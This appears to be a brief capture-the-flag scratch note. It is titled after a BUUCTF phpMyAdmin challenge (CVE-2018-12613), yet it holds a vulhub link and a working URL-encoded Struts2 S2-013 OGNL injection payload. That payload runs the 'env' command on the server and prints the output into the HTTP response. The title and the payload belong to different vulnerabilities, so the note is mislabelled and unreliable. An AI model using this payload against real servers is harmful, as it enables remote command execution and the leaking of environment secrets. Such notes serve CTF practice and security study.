buuctf*PHPMYADMIN]CVE-2018-12613 1
https://github.com/vulhub/vulhub/blob/master/struts2/s2-013/README.zh-cn.md
link.action?a=%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23out%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23out.println(%23d)%2c%23out.close())%7d